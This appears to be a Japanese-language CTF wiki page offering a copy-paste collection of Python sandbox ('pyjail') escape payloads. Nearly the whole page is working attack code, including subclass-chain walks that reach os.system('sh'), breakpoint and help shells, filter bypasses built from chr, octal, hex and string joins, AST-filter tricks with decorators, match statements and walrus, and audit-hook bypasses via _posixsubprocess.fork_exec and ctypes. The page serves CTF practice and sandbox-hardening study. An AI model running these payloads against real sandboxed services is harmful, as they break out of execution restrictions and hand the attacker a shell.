pyjail wiki

Pyjail Payloads

Overview

状況別のコピペ用ペイロード集。

基本ペイロード

最短系

# breakpoint (12文字)
breakpoint()
# → pdb起動後: import os; os.system('sh')
# help (6文字)
help()
# → 対話モードでmodule名入力 → pager内で !sh
# exec+input (13文字)
exec(input())
# → 次の入力で任意コード実行

汎用ワンライナー

# _wrap_close (最も汎用的)
[c for c in ().__class__.__base__.__subclasses__() if'wr'in str(c)][0].__init__.__globals__['system']('sh')
# catch_warnings
[c for c in ().__class__.__bases__[0].__subclasses__() if c.__name__=='catch_warnings'][0]()._module.__builtins__['__import__']('os').system('sh')
# BuiltinImporter
[c for c in ().__class__.__bases__[0].__subclasses__() if c.__name__=='BuiltinImporter'][0].load_module('os').system('sh')

builtins が空の場合

# 基本チェーン
().__class__.__bases__[0].__subclasses__()[INDEX].__init__.__globals__['system']('sh')
# 短縮版
().__class__.__mro__[1].__subclasses__()[INDEX].__init__.__globals__['system']('sh')
# generator 利用
(x for x in []).gi_frame.f_builtins['eval']('__import__("os").system("sh")')

文字列フィルタバイパス

chr() 構築

# __import__("os").system("sh")
eval(chr(95)+chr(95)+chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)+chr(95)+chr(95)+chr(40)+chr(34)+chr(111)+chr(115)+chr(34)+chr(41)+chr(46)+chr(115)+chr(121)+chr(115)+chr(116)+chr(101)+chr(109)+chr(40)+chr(34)+chr(115)+chr(104)+chr(34)+chr(41))
# os のみ構築
__import__(chr(111)+chr(115)).system(chr(115)+chr(104))

8進数/16進数

# 8進数
__import__('\157\163').system('\163\150')
# 16進数
__import__('\x6f\x73').system('\x73\x68')

Unicode

# 全角文字
exec(input())
# eval
eval('__import__("os").system("sh")')

文字列結合

# 単純結合
getattr(__import__('o'+'s'), 'sys'+'tem')('sh')
# join
getattr(__import__(''.join(['o','s'])), ''.join(['s','y','s','t','e','m']))('sh')

AST フィルタバイパス

デコレータ

@exec
@input
class X:pass
# 入力: __import__("os").system("sh")

match 文 (Python 3.10+)

match __builtins__:
case {'eval': e}:
e('__import__("os").system("sh")')

walrus 演算子

[x := __import__('os'), x.system('sh')]

audit hook バイパス

_posixsubprocess.fork_exec

import _posixsubprocess,os;r,w=os.pipe();_posixsubprocess.fork_exec([b'/bin/sh',b'-c',b'cat /flag'],[b'/bin/sh'],True,(),'',{},-1,w,-1,-1,-1,False,False,-1,-1,-1,-1,None);os.close(w);print(os.read(r,9999))

ctypes

__import__('ctypes').CDLL(None).system(b'sh')

文字数制限

100文字以下

# 99文字
[c for c in ().__class__.__mro__[1].__subclasses__()if'wr'in str(c)][0].__init__.__globals__['system']('sh')

変数代入で分割

a=__import__
b='os'
c=a(b)
c.system('sh')

英数字禁止

# 全角文字を使用
eval(input())

ファイル読み取りのみ

# flag.txt を読む
open('flag.txt').read()
# builtins 空の場合
().__class__.__bases__[0].__subclasses__()[INDEX].__init__.__globals__['open']('flag.txt').read()

特殊状況

input() のみ利用可

input()
# 入力で評価される環境なら: __import__("os").system("sh")

getattr のみ利用可

getattr(getattr(getattr(getattr(getattr(getattr((),chr(95)+chr(95)+chr(99)+chr(108)+chr(97)+chr(115)+chr(115)+chr(95)+chr(95)),chr(95)+chr(95)+chr(98)+chr(97)+chr(115)+chr(101)+chr(115)+chr(95)+chr(95)),chr(95)+chr(95)+chr(103)+chr(101)+chr(116)+chr(105)+chr(116)+chr(101)+chr(109)+chr(95)+chr(95))(0),chr(95)+chr(95)+chr(115)+chr(117)+chr(98)+chr(99)+chr(108)+chr(97)+chr(115)+chr(115)+chr(101)+chr(115)+chr(95)+chr(95))(),chr(95)+chr(95)+chr(103)+chr(101)+chr(116)+chr(105)+chr(116)+chr(101)+chr(109)+chr(95)+chr(95))(INDEX)